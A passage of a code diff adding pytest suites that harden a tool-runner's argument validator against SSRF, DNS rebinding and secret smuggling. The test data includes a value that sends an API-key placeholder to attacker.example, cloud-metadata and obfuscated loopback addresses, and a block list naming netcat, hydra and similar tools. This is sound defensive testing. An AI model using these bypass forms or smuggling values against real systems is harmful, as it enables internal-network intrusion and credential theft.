"010.0.0.0/8", "::1/129", "fe80::1%eth0/64", "not/a/cidr"): + _rejects(_arg("cidr"), value, "Invalid CIDR") + assert validate_arg(_arg("cidr"), "10.0.0.0/8") == "10.0.0.0/8" + # 0.0.0.0/0 is canonical but overlaps link-local space, so it is + # refused by the policy (test_hardening_w4); 0.0.0.0/1 is not. + assert validate_arg(_arg("cidr"), "0.0.0.0/1") == "0.0.0.0/1" + assert validate_arg(_arg("cidr"), "2001:db8::/32") == "2001:db8::/32" + + def test_policy_on_base_address(self): + _rejects(_arg("cidr", block_internal=True), "10.0.0.0/8", "private", "blocked by block_internal policy") + _rejects(_arg("cidr", block_internal=True), "::1/128", "loopback") + _rejects(_arg("cidr", block_internal=True), "2001:db8::/32", "documentation") + for block_internal in (False, True): + _rejects(_arg("cidr", block_internal=block_internal), "169.254.0.0/16", "always blocked") + _rejects(_arg("cidr", block_internal=block_internal), "fe80::/10", "always blocked") + assert validate_arg(_arg("cidr", block_internal=True), "8.8.8.0/24") == "8.8.8.0/24" + + +# --------------------------------------------------------------------------- +# The range table itself +# --------------------------------------------------------------------------- + +class TestHostPolicyTable: + def test_range_table_matches_policy_document(self): + # Pin the table shape so a drift in any runtime is a visible diff. + assert [str(r.net) for r in ALWAYS_BLOCKED_V4] == ["169.254.0.0/16"] + assert [str(r.net) for r in ALWAYS_BLOCKED_V6] == ["fe80::/10"] + assert [str(r.net) for r in BLOCK_INTERNAL_V4] == [ + "127.0.0.0/8", + "10.0.0.0/8", + "172.16.0.0/12", + "192.168.0.0/16", + "100.64.0.0/10", + "0.0.0.0/8", + "255.255.255.255/32", + "192.0.2.0/24", + "198.51.100.0/24", + "203.0.113.0/24", + "198.18.0.0/15", + "240.0.0.0/4", + ] + assert [str(r.net) for r in BLOCK_INTERNAL_V6] == [ + "::1/128", "::/128", "fc00::/7", "fe80::/10", "2001:db8::/32", + ] + + def test_always_blocked_tier_fires_in_both_modes(self): + for v in ("169.254.169.254", "169.254.0.1", "169.254.255.255", "::ffff:169.254.169.254", "fe80::1", "febf::1"): + assert always_blocked_ip_reason(_ip(v)) is not None, v + for block_internal in (False, True): + with pytest.raises(ValidationError, match="always blocked"): + enforce_ip_policy("t", _ip(v), block_internal) + for v in ("169.253.255.255", "169.255.0.0", "fe7f::1", "fec0::1"): + assert always_blocked_ip_reason(_ip(v)) is None, v + + @pytest.mark.parametrize( + "value,word", + [ + ("127.0.0.1", "loopback"), ("127.255.255.254", "loopback"), + ("10.0.0.5", "private"), ("172.16.0.1", "private"), ("172.31.255.255", "private"), ("192.168.1.1", "private"), + ("100.64.0.1", "carrier-grade NAT"), ("100.127.255.255", "carrier-grade NAT"), + ("0.0.0.0", "unspecified"), ("0.1.2.3", "unspecified"), + ("255.255.255.255", "broadcast"), + ("192.0.2.1", "documentation"), ("198.51.100.1", "documentation"), ("203.0.113.1", "documentation"), + ("198.18.0.1", "benchmarking"), ("198.19.255.255", "benchmarking"), + ("240.0.0.1", "reserved"), ("255.255.255.254", "reserved"), + ("::1", "loopback"), ("::", "unspecified"), + ("fc00::1", "unique-local"), ("fdff::1", "unique-local"), + ("fe80::1", "link-local"), + ("2001:db8::1", "documentation"), ("2001:db8:ffff:ffff:ffff:ffff:ffff:ffff", "documentation"), + ("::ffff:127.0.0.1", "loopback"), ("::ffff:10.1.2.3", "private"), ("::ffff:100.64.0.1", "carrier-grade NAT"), + ("::ffff:0.0.0.0", "unspecified"), ("::ffff:255.255.255.255", "broadcast"), + ("::ffff:198.18.0.1", "benchmarking"), ("::ffff:240.0.0.1", "reserved"), + ], + ) + def test_block_internal_tier_covers_every_range(self, value, word): + ip = _ip(value) + reason = non_public_ip_reason(ip) + assert reason is not None and word in reason, f"{value}: {reason}" + if always_blocked_ip_reason(ip) is None: + # Enforced only when the policy is on. + with pytest.raises(ValidationError, match="blocked by block_internal policy"): + enforce_ip_policy("t", ip, True) + enforce_ip_policy("t", ip, False) + else: + # Link-local sits in both tiers; the always-blocked tier wins. + for block_internal in (False, True): + with pytest.raises(ValidationError, match="always blocked"): + enforce_ip_policy("t", ip, block_internal) + + @pytest.mark.parametrize( + "value", + [ + "126.255.255.255", "128.0.0.0", "9.255.255.255", "11.0.0.0", "172.15.255.255", "172.32.0.0", + "192.167.255.255", "192.169.0.0", "100.63.255.255", "100.128.0.0", "1.0.0.0", "192.0.1.255", + "192.0.3.0", "198.51.99.255", "198.51.101.0", "203.0.112.255", "203.0.114.0", "198.17.255.255", + "198.20.0.0", "239.255.255.255", "93.184.216.34", "8.8.8.8", "::2", "fbff::1", "fe00::1", + "2001:db7:ffff::1", "2001:db9::1", "2606:2800:220:1:248:1893:25c8:1946", "::ffff:93.184.216.34", + ], + ) + def test_block_internal_tier_range_boundaries(self, value): + ip = _ip(value) + assert non_public_ip_reason(ip) is None, f"{value} should be public" + enforce_ip_policy("t", ip, True) + + def test_broadcast_is_reported_before_reserved(self): + assert non_public_ip_reason(_ip("255.255.255.255")) == "is the broadcast address" + + def test_messages_match_the_shared_wording(self): + assert always_blocked_ip_reason(_ip("169.254.169.254")) == ( + "is a link-local / cloud-metadata address (169.254.0.0/16) — always blocked" + ) + assert always_blocked_ip_reason(_ip("fe80::1")) == "is an IPv6 link-local address (fe80::/10) — always blocked" + assert non_public_ip_reason(_ip("127.0.0.1")) == "resolves to a loopback address" + assert non_public_ip_reason(_ip("::1")) == "resolves to the IPv6 loopback ::1" + with pytest.raises(ValidationError) as exc: + enforce_ip_policy("u", _ip("10.0.0.1"), True) + assert str(exc.value) == "argument 'u' target resolves to a private address (blocked by block_internal policy)" + + +# --------------------------------------------------------------------------- +# Parsers in front of the policy +# --------------------------------------------------------------------------- + +class TestCanonicalParsers: + def test_canonical_ip_parser_accepts_canonical_forms(self): + assert parse_canonical_ip("127.0.0.1") == ipaddress.IPv4Address("127.0.0.1") + assert parse_canonical_ip("::1") == ipaddress.IPv6Address("::1") + assert parse_canonical_ip("::ffff:127.0.0.1") == ipaddress.IPv6Address("::ffff:127.0.0.1") + assert parse_canonical_ip("0.0.0.0") == ipaddress.IPv4Address("0.0.0.0") + assert parse_canonical_ip("255.255.255.255") == ipaddress.IPv4Address("255.255.255.255") + assert parse_canonical_ip("2001:DB8::1") == ipaddress.IPv6Address("2001:db8::1") + + @pytest.mark.parametrize( + "value", + ["2130706433", "0x7f000001", "0177.0.0.1", "127.1", "010.0.0.1", "127.0.0.1.", "[::1]", "256.0.0.1", + "1.2.3.4.5", "fe80::1%eth0", "::ffff:0177.0.0.1", "::ffff:127.1", "2001:db8::1/64", "1:2:3:4:5:6:7:8:9", + "", " 127.0.0.1", "127.0.0.1 ", "+127.0.0.1", "127.0.0.1"], + ) + def test_canonical_ip_parser_rejects_resolver_expansions(self, value): + assert parse_canonical_ip(value) is None, value + + def test_canonical_cidr_parser(self): + assert parse_canonical_cidr("10.0.0.0/8") == (ipaddress.IPv4Address("10.0.0.0"), 8) + assert parse_canonical_cidr("10.0.0.1/8") == (ipaddress.IPv4Address("10.0.0.1"), 8) + assert parse_canonical_cidr("0.0.0.0/0") == (ipaddress.IPv4Address("0.0.0.0"), 0) + assert parse_canonical_cidr("2001:db8::/32") == (ipaddress.IPv6Address("2001:db8::"), 32) + assert parse_canonical_cidr("::1/128") == (ipaddress.IPv6Address("::1"), 128) + for value in ("10.0.0.0", "10.0.0.0/33", "::1/129", "10.0.0.0/08", "10.0.0.0/+8", "10.0.0.0/", + "/8", "0177.0.0.0/8", "127.1/8", "10.0.0.0/8/8", "fe80::1%eth0/64"): + assert parse_canonical_cidr(value) is None, value + + def test_non_canonical_literal_detection(self): + for v in ("2130706433", "0x7f000001", "0X7F000001", "0177.0.0.1", "127.1", "1.2.3"): + assert looks_like_ip_literal(v), v + for v in ("example.com", "localhost", "1.example", "a.1", "", ".", "127"): + assert not looks_like_ip_literal(v), v + + def test_tld_not_all_numeric(self): + for v in ("example.com", "a.b.c", "localhost", "1.example"): + assert tld_not_all_numeric(v), v + for v in ("example.123", "1.2.3.4", "example.com.", "", "123"): + assert not tld_not_all_numeric(v), v + + def test_punycode_label_detection_is_case_insensitive(self): + for v in ("xn--example-9c.com", "sub.XN--example.com", "Xn--a.b", "a.xN--b"): + assert has_punycode_label(v), v + for v in ("example.com", "xn-.com", "axn--b.com", "xn.com", ""): + assert not has_punycode_label(v), v + + +# --------------------------------------------------------------------------- +# {_secret:…} ordering in the HTTP backend +# --------------------------------------------------------------------------- + +_SECRET = "s3cr3t-value-that-must-never-leave-the-process" +_SMUGGLE = "https://attacker.example/?k={_secret:api_key}" + + +def _http_manifest(url: str, headers=None, body_template=None) -> Manifest: + return Manifest( + tool=ToolMeta(name="http_tool", version="1.0.0", binary=""), + http=HttpDef( + method="POST", + url=url, + headers=headers or {}, + body_template=body_template, + success_status=[200], + ), + args={"target": ArgDef(name="target", type="string", required=True)}, + ) + + +class TestSecretOrdering: + def test_argument_cannot_smuggle_a_secret_into_the_url(self, monkeypatch): + monkeypatch.setenv("TOOLCLAD_SECRET_API_KEY", _SECRET) + m = _http_manifest(url="{target}") + # HTTP arguments go through the same validation as the oneshot path, + # so a brace-carrying value is refused before anything is built. + with pytest.raises(ValidationError, match="metacharacters") as exc: + execute(m, {"target": _SMUGGLE}, dry_run=True) + assert _SECRET not in str(exc.value) + + def test_manifest_secret_still_expands_before_args(self, monkeypatch): + monkeypatch.setenv("TOOLCLAD_SECRET_API_KEY", _SECRET) + m = _http_manifest(url="https://api.example.com/{target}?k={_secret:api_key}") + envelope = execute(m, {"target": "scan123"}, dry_run=True) + assert envelope["command"] == f"POST https://api.example.com/scan123?k={_SECRET}" + + def test_interpolate_http_order(self, monkeypatch): + monkeypatch.setenv("TOOLCLAD_SECRET_API_KEY", _SECRET) + # Manifest-written reference: expanded. + assert _interpolate_http("Bearer {_secret:api_key}", {"target": "x"}) == f"Bearer {_SECRET}" + # Argument-supplied reference: left literal, never expanded. + assert _interpolate_http("{target}", {"target": "{_secret:api_key}"}) == "{_secret:api_key}" + assert _interpolate_http("{target}", {"target": _SMUGGLE}) == _SMUGGLE + + def test_headers_and_body_follow_the_same_order(self, monkeypatch): + monkeypatch.setenv("TOOLCLAD_SECRET_API_KEY", _SECRET) + captured = {} + + class _Resp: + status = 200 + + def read(self, n=-1): + return b"{}" + + def fake_open(req, timeout=None): + # Records the built request; no socket is ever opened. + captured["req"] = req + return _Resp() + + import toolclad.executor as executor_mod + + monkeypatch.setattr(executor_mod, "_open_url", fake_open) + m = _http_manifest( + url="http://127.0.0.1:9/{target}", + headers={"X-Echo": "{target}", "Authorization": "Bearer {_secret:api_key}"}, + body_template='{"t": "{target}"}', + ) + with pytest.raises(ValidationError, match="metacharacters"): + execute(m, {"target": "{_secret:api_key}"}) + assert "req" not in captured # refused before any request was built + + envelope = execute(m, {"target": "scan123"}) + assert envelope["http_status"] == 200 + req = captured["req"] + assert req.full_url == "http://127.0.0.1:9/scan123" + assert req.get_header("X-echo") == "scan123" + assert req.get_header("Authorization") == f"Bearer {_SECRET}" + assert req.data == b'{"t": "scan123"}' + assert _SECRET not in req.full_url + assert _SECRET not in req.data.decode() + + def test_secret_env_is_cleaned_up(self): + # monkeypatch.setenv in the tests above restores the environment; + # nothing from them leaks into this one. + import os + + assert "TOOLCLAD_SECRET_API_KEY" not in os.environ diff --git a/python/tests/test_hardening_w4.py b/python/tests/test_hardening_w4.py new file mode 100644 index 0000000..515b22f --- /dev/null +++ b/python/tests/test_hardening_w4.py @@ -0,0 +1,587 @@ +"""Tests for the hostname half of the host policy and the egress lint. + +D1 the internal-name denylist, D2 IP literals embedded in a hostname, D3 +CIDR overlap with every blocked prefix, D4 DNS resolution under +``block_internal``, and D5 the egress lint as a manifest property. + +No test depends on live DNS succeeding. Positive cases use literals or the +embedded forms; the resolution path uses ``no-such-host.invalid`` +(``.invalid`` is reserved by RFC 2606 and never resolves) or a substituted +resolver, and the ``no_dns`` fixture proves that no lookup happens where +none must. That one ``.invalid`` lookup is the only network activity a test +may cause. No network tool is ever executed: every manifest here is only +loaded. +""" + +from __future__ import annotations + +import ipaddress +import socket + +import pytest + +from toolclad import hostpolicy +from toolclad.hostpolicy import ( + INTERNAL_NAME_REASON, + always_blocked_cidr_reason, + embedded_ip_literal, + internal_name_reason, + non_public_cidr_reason, + resolve_host_addresses, +) +from toolclad.manifest import ( + EGRESS_BINARIES, + NETWORK_TARGET_TYPES, + ArgDef, + BrowserDef, + CommandDef, + CustomTypeDef, + HttpDef, + Manifest, + ToolMeta, + is_egress_manifest, + load_manifest, + validate_manifest_with_custom_types, +) +from toolclad.validator import ( + ValidationError, + validate_arg, + validate_arg_with_custom_types, +) + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +def _arg(type: str, **kwargs) -> ArgDef: # noqa: A002 + return ArgDef(name="target", type=type, **kwargs) + + +def _rejects(arg_def: ArgDef, value: str, *needles: str) -> str: + """Assert ``value`` is refused and every needle appears in the message.""" + with pytest.raises(ValidationError) as exc: + validate_arg(arg_def, value) + msg = str(exc.value) + for needle in needles: + assert needle in msg, f"{needle!r} not in {msg!r}" + return msg + + +@pytest.fixture +def no_dns(monkeypatch): + """Fail the test if the resolver is consulted.""" + def _never(host: str): + raise AssertionError(f"resolver consulted for {host!r}") + monkeypatch.setattr(hostpolicy, "resolve_host_addresses", _never) + + +def _answers(monkeypatch, *texts: str) -> None: + """Substitute a resolver that returns the given addresses.""" + ips = [ipaddress.ip_address(t) for t in texts] + monkeypatch.setattr(hostpolicy, "resolve_host_addresses", lambda host: list(ips)) + + +_INTERNAL = INTERNAL_NAME_REASON +_POLICY = "blocked by block_internal policy" +_PUBLIC = "93.184.216.34" + + +# --------------------------------------------------------------------------- +# D1 — internal-name denylist, unconditional +# --------------------------------------------------------------------------- + +_INTERNAL_NAMES = [ + "localhost", "api.localhost", "printer.local", "metadata.google.internal", + "db.internal", "x.home.arpa", "nas.lan", "wiki.intranet", "files.corp", + "vault.private", +] + + +class TestInternalNameDenylist: + @pytest.mark.parametrize("host", _INTERNAL_NAMES) + def test_scope_target_refused_without_block_internal(self, host, no_dns): + msg = _rejects(_arg("scope_target"), host, _INTERNAL) + assert msg == f"argument 'target' target {_INTERNAL}" + + @pytest.mark.parametrize("host", _INTERNAL_NAMES) + def test_url_host_refused_without_block_internal(self, host, no_dns): + _rejects(_arg("url"), f"http://{host}/path", _INTERNAL) + _rejects(_arg("url"), f"https://{host}:8443/", _INTERNAL) + + @pytest.mark.parametrize("host", ["localhost", "printer.local"]) + def test_refused_with_block_internal_too(self, host, no_dns): + # The denylist wins before any resolution is attempted. + _rejects(_arg("scope_target", block_internal=True), host, _INTERNAL) + _rejects(_arg("url", block_internal=True), f"http://{host}/", _INTERNAL) + + @pytest.mark.parametrize("host", ["LOCALHOST", "Printer.LOCAL", "METADATA.GOOGLE.INTERNAL", "Db.Internal"]) + def test_comparison_is_case_insensitive(self, host, no_dns): + _rejects(_arg("scope_target"), host, _INTERNAL) + _rejects(_arg("url"), f"http://{host}/", _INTERNAL) + + def test_trailing_dot_form_is_refused_structurally(self, no_dns): + # The structural hostname check refuses a trailing dot before the + # denylist is consulted, so the message is the structural one. + _rejects(_arg("scope_target"), "localhost.", "Invalid scope target") + _rejects(_arg("url"), "http://localhost./", "not a valid hostname") + + def test_helper_ignores_one_trailing_dot(self): + assert internal_name_reason("localhost") == _INTERNAL + assert internal_name_reason("LOCALHOST.") == _INTERNAL + assert internal_name_reason("a.b.internal.") == _INTERNAL + assert internal_name_reason("localhost..") is None + assert internal_name_reason("example.com") is None + + @pytest.mark.parametrize( + "host", + ["notlocalhost", "internal.example.com", "corp.example.com", "localhost.example.com", "lan.example.net"], + ) + def test_suffix_match_is_on_a_label_boundary(self, host, no_dns): + # Policy off: no resolution, and these are not internal names. + assert validate_arg(_arg("scope_target"), host) == host + assert validate_arg(_arg("url"), f"https://{host}/") == f"https://{host}/" + + +# --------------------------------------------------------------------------- +# D2 — IP literal embedded in a hostname +# --------------------------------------------------------------------------- + +class TestEmbeddedIpLiteral: + @pytest.mark.parametrize("host", ["169.254.169.254.nip.io", "169.254.169.254.xip.io", "169-254-169-254.nip.io"]) + def test_metadata_embedded_is_always_refused(self, host, no_dns): + _rejects(_arg("scope_target"), host, "always blocked") + _rejects(_arg("scope_target", block_internal=True), host, "always blocked") + _rejects(_arg("url"), f"http://{host}/latest/meta-data/", "always blocked") + + def test_loopback_and_private_embedded_refused_under_block_internal(self, no_dns): + _rejects(_arg("scope_target", block_internal=True), "127.0.0.1.nip.io", "loopback", _POLICY) + _rejects(_arg("scope_target", block_internal=True), "10-0-0-1.nip.io", "private", _POLICY) + _rejects(_arg("url", block_internal=True), "http://127.0.0.1.nip.io:8080/", "loopback", _POLICY) + _rejects(_arg("url", block_internal=True), "http://10-0-0-1.sslip.io/", "private", _POLICY) + _rejects(_arg("url", block_internal=True), "http://192.168.1.1.nip.io/", "private", _POLICY) + + def test_embedded_admitted_when_policy_off(self, no_dns): + # Same as a literal: loopback and private are admitted unless the + # manifest opts in to block_internal. + assert validate_arg(_arg("scope_target"), "127.0.0.1.nip.io") == "127.0.0.1.nip.io" + assert validate_arg(_arg("scope_target"), "10-0-0-1.nip.io") == "10-0-0-1.nip.io" + + def test_public_shape_is_not_a_refusal_and_is_not_resolved(self, no_dns): + for host in ("93-184-216-34.example.com", "93.184.216.34.example.com"): + assert validate_arg(_arg("scope_target", block_internal=True), host) == host + url = f"https://{host}/x" + assert validate_arg(_arg("url", block_internal=True), url) == url + + def test_helper_shapes(self): + v4 = ipaddress.IPv4Address + assert embedded_ip_literal("127.0.0.1.nip.io") == v4("127.0.0.1") + assert embedded_ip_literal("169.254.169.254.xip.io") == v4("169.254.169.254") + assert embedded_ip_literal("10-0-0-1.nip.io") == v4("10.0.0.1") + assert embedded_ip_literal("010-0-0-1.nip.io") == v4("10.0.0.1") + assert embedded_ip_literal("10-0-0-1") == v4("10.0.0.1") + # Non-canonical dotted forms, too few or too many groups, out of + # range: not an embedded literal. + for host in ("0127.0.0.1.nip.io", "1.2.3.nip.io", "a.b.c.d", "256-0-0-1.nip.io", + "1-2-3.nip.io", "10-0-0-1-5.nip.io", "example.com", "www.1.2.3.4"): + assert embedded_ip_literal(host) is None, host + + def test_non_matching_shape_falls_through_to_hostname_rules(self, no_dns): + # Policy off: accepted as an ordinary name, no resolution. + assert validate_arg(_arg("scope_target"), "256-0-0-1.nip.io") == "256-0-0-1.nip.io" + + +# --------------------------------------------------------------------------- +# D3 — CIDR overlap, not base address +# --------------------------------------------------------------------------- + +class TestCidrOverlap: + @pytest.mark.parametrize( + "value,word", + [ + ("8.0.0.0/5", "private"), # public base, contains 10.0.0.0/8 + ("10.0.0.0/24", "private"), # inside a blocked range + ("172.0.0.0/8", "private"), # contains 172.16.0.0/12 + ("192.0.0.0/8", "private"), # contains 192.168.0.0/16 + ("100.0.0.0/8", "carrier-grade NAT"), + ("126.0.0.0/7", "loopback"), # 126-127 + ("198.0.0.0/8", "documentation"), # 198.51.100.0/24 precedes 198.18.0.0/15 + ("2001:db8::/32", "documentation"), + ("2001::/16", "documentation"), # supernet of 2001:db8::/32 + ("fd00::/8", "unique-local"), + ("::/120", "loopback"), # contains ::1 + ], + ) + def test_refused_under_block_internal(self, value, word): + for arg_type in ("scope_target", "cidr"): + _rejects(_arg(arg_type, block_internal=True), value, word, _POLICY) + + @pytest.mark.parametrize( + "value", + ["93.184.216.0/24", "8.8.8.0/24", "1.0.0.0/8", "11.0.0.0/8", "172.32.0.0/11", "2606:4700::/32", "2600::/12"], + ) + def test_accepted_under_block_internal(self, value): + for arg_type in ("scope_target", "cidr"): + assert validate_arg(_arg(arg_type, block_internal=True), value) == value + + @pytest.mark.parametrize("value", ["0.0.0.0/0", "128.0.0.0/1", "169.0.0.0/8", "::/0", "fe00::/7"]) + def test_overlap_with_link_local_is_always_refused(self, value): + for arg_type in ("scope_target", "cidr"): + for block_internal in (False, True): + _rejects(_arg(arg_type, block_internal=block_internal), value, "always blocked") + + def test_policy_off_admits_supernets_of_the_opt_in_ranges(self): + for value in ("8.0.0.0/5", "0.0.0.0/1", "2001::/16"): + assert validate_arg(_arg("scope_target"), value) == value + assert validate_arg(_arg("cidr"), value) == value + + def test_host_bits_are_masked_before_the_overlap_test(self): + _rejects(_arg("scope_target", block_internal=True), "10.0.0.1/8", "private") + _rejects(_arg("cidr", block_internal=True), "8.1.2.3/5", "private") + assert validate_arg(_arg("scope_target"), "10.0.0.1/8") == "10.0.0.1/8" + + def test_ipv4_mapped_ipv6_cidr(self): + _rejects(_arg("cidr", block_internal=True), "::ffff:10.0.0.0/104", "private", _POLICY) + _rejects(_arg("scope_target", block_internal=True), "::ffff:127.0.0.0/104", "loopback", _POLICY) + # Covers every mapped IPv4 address, link-local included. + for block_internal in (False, True): + _rejects(_arg("cidr", block_internal=block_internal), "::ffff:0:0/96", "always blocked") + _rejects(_arg("cidr", block_internal=block_internal), "::ffff:169.254.0.0/112", "always blocked") + assert validate_arg(_arg("cidr", block_internal=True), "::ffff:93.184.216.0/120") == "::ffff:93.184.216.0/120" + + def test_helpers(self): + net = ipaddress.ip_network + assert "private" in non_public_cidr_reason(net("8.0.0.0/5")) + assert non_public_cidr_reason(net("93.184.216.0/24")) is None + assert always_blocked_cidr_reason(net("::/0")) is not None + assert always_blocked_cidr_reason(net("0.0.0.0/0")) is not None + assert always_blocked_cidr_reason(net("8.8.8.0/24")) is None + assert always_blocked_cidr_reason(net("2606:4700::/32")) is None + + +# --------------------------------------------------------------------------- +# D4 — DNS resolution under block_internal +# --------------------------------------------------------------------------- + +_UNRESOLVABLE = "no-such-host.invalid" +_COULD_NOT = f"could not resolve host '{_UNRESOLVABLE}' to verify it is public (block_internal)" + + +class TestDnsResolutionUnderBlockInternal: + def test_unresolvable_name_is_refused(self): + msg = _rejects(_arg("scope_target", block_internal=True), _UNRESOLVABLE, _COULD_NOT) + assert msg == f"argument 'target' {_COULD_NOT}" + _rejects(_arg("url", block_internal=True), f"https://{_UNRESOLVABLE}/x", _COULD_NOT) + _rejects(_arg("url", block_internal=True), f"http://{_UNRESOLVABLE}:8080/", _COULD_NOT) + + def test_no_resolution_when_policy_off(self, no_dns): + assert validate_arg(_arg("scope_target"), _UNRESOLVABLE) == _UNRESOLVABLE + url = f"https://{_UNRESOLVABLE}/x" + assert validate_arg(_arg("url"), url) == url + + def test_literals_are_never_resolved(self, no_dns): + assert validate_arg(_arg("scope_target", block_internal=True), _PUBLIC) == _PUBLIC + assert validate_arg(_arg("url", block_internal=True), f"https://{_PUBLIC}/") == f"https://{_PUBLIC}/" + assert validate_arg(_arg("ip_address", block_internal=True), _PUBLIC) == _PUBLIC + assert validate_arg(_arg("cidr", block_internal=True), "8.8.8.0/24") == "8.8.8.0/24" + + def test_internal_name_wins_before_resolution(self, no_dns): + _rejects(_arg("scope_target", block_internal=True), "localhost", _INTERNAL) + + @pytest.mark.parametrize( + "error", + [socket.gaierror(-2, "Name or service not known"), OSError("resolver unavailable"), socket.timeout("slow")], + ) + def test_resolver_error_fails_closed(self, monkeypatch, error): + def _raise(host, port): + raise error + monkeypatch.setattr(hostpolicy.socket, "getaddrinfo", _raise) + _rejects(_arg("scope_target", block_internal=True), "example.com", + "could not resolve host 'example.com' to verify it is public (block_internal)") + + def test_empty_answer_set_fails_closed(self, monkeypatch): + monkeypatch.setattr(hostpolicy.socket, "getaddrinfo", lambda host, port: []) + _rejects(_arg("url", block_internal=True), "https://example.com/", "could not resolve host 'example.com'") + + def test_every_answer_is_checked(self, monkeypatch): + # One public answer does not launder an internal one (rebinding, + # round-robin, or an attacker-controlled zone). + _answers(monkeypatch, _PUBLIC, "127.0.0.1") + _rejects(_arg("scope_target", block_internal=True), "example.com", "loopback", _POLICY) + _answers(monkeypatch, _PUBLIC, "10.0.0.1") + _rejects(_arg("url", block_internal=True), "https://example.com/", "private", _POLICY) + _answers(monkeypatch, "2606:4700::1111", "fd00::1") + _rejects(_arg("scope_target", block_internal=True), "example.com", "unique-local", _POLICY) + + def test_resolved_link_local_is_always_blocked(self, monkeypatch): + _answers(monkeypatch, _PUBLIC, "169.254.169.254") + _rejects(_arg("scope_target", block_internal=True), "example.com", "always blocked") + _answers(monkeypatch, "::ffff:169.254.169.254") + _rejects(_arg("url", block_internal=True), "https://example.com/", "always blocked") + + def test_all_public_answers_are_accepted(self, monkeypatch): + _answers(monkeypatch, _PUBLIC, "2606:2800:220:1:248:1893:25c8:1946") + assert validate_arg(_arg("scope_target", block_internal=True), "example.com") == "example.com" + assert validate_arg(_arg("url", block_internal=True), "https://example.com/") == "https://example.com/" + + def test_getaddrinfo_answers_are_parsed_and_deduplicated(self, monkeypatch): + v4 = (socket.AF_INET, socket.SOCK_STREAM, 6, "", ("127.0.0.1", 0)) + v4_dgram = (socket.AF_INET, socket.SOCK_DGRAM, 17, "", ("127.0.0.1", 0)) + mapped = (socket.AF_INET6, socket.SOCK_STREAM, 6, "", ("::ffff:127.0.0.1", 0, 0, 0)) + zoned = (socket.AF_INET6, socket.SOCK_STREAM, 6, "", ("fe80::1%eth0", 0, 0, 2)) + monkeypatch.setattr(hostpolicy.socket, "getaddrinfo", lambda host, port: [v4, v4_dgram, mapped, zoned]) + answers = resolve_host_addresses("example.com") + assert answers == [ + ipaddress.ip_address("127.0.0.1"), + ipaddress.ip_address("::ffff:127.0.0.1"), + ipaddress.ip_address("fe80::1"), + ] + # The loopback answer comes first in the table walk, and the zoned + # link-local one would be caught regardless of block_internal. + _rejects(_arg("scope_target", block_internal=True), "example.com", "loopback") + monkeypatch.setattr(hostpolicy.socket, "getaddrinfo", lambda host, port: [zoned]) + _rejects(_arg("scope_target", block_internal=True), "example.com", "always blocked") + + +# --------------------------------------------------------------------------- +# D5 — egress lint as a manifest property +# --------------------------------------------------------------------------- + +_LINT = ( + "argument 'target' is a network target for an egress binary but " + "block_internal is not set; set block_internal = true to default-deny " + "internal/SSRF targets" +) + + +def _doc( + binary: str = "curl", + arg_type: str = "url", + flag: str = "", + command: str = "", + tool: str = "", + tail: str = "", +) -> str: + """A oneshot manifest: ``binary`` with one ``target`` argument. Nothing + is ever executed; every manifest here is only loaded.""" + cmd = command or f'exec = ["{binary}", "{{target}}"]\n' + return ( + f'[tool]\nname = "t"\nversion = "1.0.0"\nbinary = "{binary}"\n{tool}\n' + f'[args.target]\nposition = 1\nrequired = true\ntype = "{arg_type}"\n{flag}\n' + f"[command]\n{cmd}\n" + '[output]\nformat = "text"\n' + f"{tail}" + ) + + +def _load(tmp_path, text: str) -> Manifest: + p = tmp_path / "t.clad.toml" + p.write_text(text) + return load_manifest(str(p)) + + +def _refused(tmp_path, text: str, needle: str = _LINT) -> str: + with pytest.raises(ValueError) as exc: + _load(tmp_path, text) + assert needle in str(exc.value), str(exc.value) + return str(exc.value) + + +_FLAG = "block_internal = true\n" + + +class TestEgressLint: + def test_list_is_exactly_the_shared_one(self): + assert EGRESS_BINARIES == frozenset({ + "curl", "wget", "nmap", "nc", "ncat", "netcat", "masscan", "telnet", + "ssh", "ping", "fping", "httpie", "http", "wfuzz", "ffuf", "hydra", + "nikto", + }) + assert NETWORK_TARGET_TYPES == frozenset({"scope_target", "url", "ip_address", "cidr"}) + + def test_curl_url_without_flag_is_refused_at_load(self, tmp_path): + assert _refused(tmp_path, _doc("curl", "url")) == _LINT + + def test_curl_url_with_flag_loads(self, tmp_path): + m = _load(tmp_path, _doc("curl", "url", _FLAG)) + assert m.args["target"].block_internal is True + + def test_nmap_scope_target(self, tmp_path): + _refused(tmp_path, _doc("nmap", "scope_target")) + assert _load(tmp_path, _doc("nmap", "scope_target", _FLAG)).tool.binary == "nmap" + + @pytest.mark.parametrize("binary", sorted(EGRESS_BINARIES)) + def test_every_listed_binary_triggers(self, tmp_path, binary): + _refused(tmp_path, _doc(binary, "scope_target")) + _load(tmp_path, _doc(binary, "scope_target", _FLAG)) + + @pytest.mark.parametrize("arg_type", sorted(NETWORK_TARGET_TYPES)) + def test_every_network_type_requires_the_flag(self, tmp_path, arg_type): + _refused(tmp_path, _doc("curl", arg_type)) + _load(tmp_path, _doc("curl", arg_type, _FLAG)) + + def test_non_network_type_is_not_linted(self, tmp_path): + assert _load(tmp_path, _doc("curl", "string")).args["target"].type == "string" + + @pytest.mark.parametrize("binary", ["whois", "dig", "echo", "sort"]) + def test_non_egress_binary_does_not_require_the_flag(self, tmp_path, binary): + m = _load(tmp_path, _doc(binary, "scope_target")) + assert m.args["target"].block_internal is False + + def test_network_egress_flag_on_unlisted_binary_requires_it(self, tmp_path): + _refused(tmp_path, _doc("echo", "scope_target", tool="network_egress = true\n")) + m = _load(tmp_path, _doc("echo", "scope_target", _FLAG, tool="network_egress = true\n")) + assert m.tool.network_egress is True + + def test_http_manifest_with_url_arg_requires_it(self, tmp_path): + http = '[http]\nmethod = "GET"\nurl = "https://api.example.com/?u={{target}}"\n' + doc = ( + '[tool]\nname = "h"\nversion = "1.0.0"\nbinary = ""\n' + '[args.target]\nposition = 1\nrequired = true\ntype = "url"\n{flag}' + + http + '[output]\nformat = "json"\n' + ) + _refused(tmp_path, doc.format(flag="")) + assert _load(tmp_path, doc.format(flag=_FLAG)).http is not None + + def test_http_manifest_with_string_arg_loads(self, tmp_path): + doc = ( + '[tool]\nname = "h"\nversion = "1.0.0"\nbinary = ""\n' + '[args.target]\nposition = 1\nrequired = true\ntype = "string"\n' + '[http]\nmethod = "GET"\nurl = "https://api.example.com/{target}"\n' + '[output]\nformat = "json"\n' + ) + assert _load(tmp_path, doc).http is not None + + def test_browser_manifest_command_url_arg_requires_it(self, tmp_path): + doc = ( + '[tool]\nname = "b"\n' + '[browser]\nengine = "cdp"\n' + 